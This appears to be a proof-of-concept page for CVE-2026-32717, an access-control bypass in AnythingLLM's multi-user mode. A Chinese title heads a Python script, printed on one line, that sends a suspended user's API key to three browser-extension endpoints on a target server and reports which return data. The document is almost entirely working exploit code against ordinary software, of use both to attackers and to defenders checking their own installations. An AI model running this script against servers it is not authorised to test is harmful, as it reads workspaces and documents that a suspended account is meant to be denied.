CVE-2026-32717: AnythingLLM多用户模式API密钥访问控制绕过漏洞

#!/usr/bin/env python3 """ CVE-2026-32717 PoC - AnythingLLM Browser Extension API Key Access Control Bypass This PoC demonstrates that suspended users can still access AnythingLLM browser extension endpoints using their API key even after suspension. Usage: python3 cve-2026-32717-poc.py <api_key> <target_url> Example: python3 cve-2026-32717-poc.py 'brx-xxxx-xxxx-xxxx' 'https://anythingllm.example.com' """ import sys import json import requests def test_api_key_authentication(api_key, base_url): """Test if suspended user's API key still works""" headers = { 'Authorization': f'Bearer {api_key}', 'Content-Type': 'application/json' } endpoints = [ '/api/extension/workspaces', '/api/extension/documents', '/api/extension/embeddings/status' ] print(f"[*] Testing API key authentication against: {base_url}") print(f"[*] API Key: {api_key[:20]}...") print("-" * 50) results = {} for endpoint in endpoints: url = f"{base_url}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) results[endpoint] = { 'status_code': response.status_code, 'accessible': response.status_code == 200, 'response': response.text[:200] if response.text else 'Empty response' } status = "VULNERABLE" if response.status_code == 200 else "BLOCKED" print(f"[+] {endpoint}: {status} (HTTP {response.status_code})") except requests.exceptions.RequestException as e: results[endpoint] = {'error': str(e)} print(f"[-] {endpoint}: ERROR - {e}") return results def main(): if len(sys.argv) != 3: print("Usage: python3 cve-2026-32717-poc.py <api_key> <target_url>") sys.exit(1) api_key = sys.argv[1] target_url = sys.argv[2].rstrip('/') print("\n" + "=" * 60) print("CVE-2026-32717 - AnythingLLM Access Control Bypass PoC") print("=" * 60 + "\n") results = test_api_key_authentication(api_key, target_url) print("\n" + "-" * 50) if any(r.get('accessible') for r in results.values()): print("[!] VULNERABLE: API key works for suspended user!") print("[!] This confirms CVE-2026-32717") else: print("[+] SECURE: API key properly blocked for suspended user") if __name__ == '__main__': main()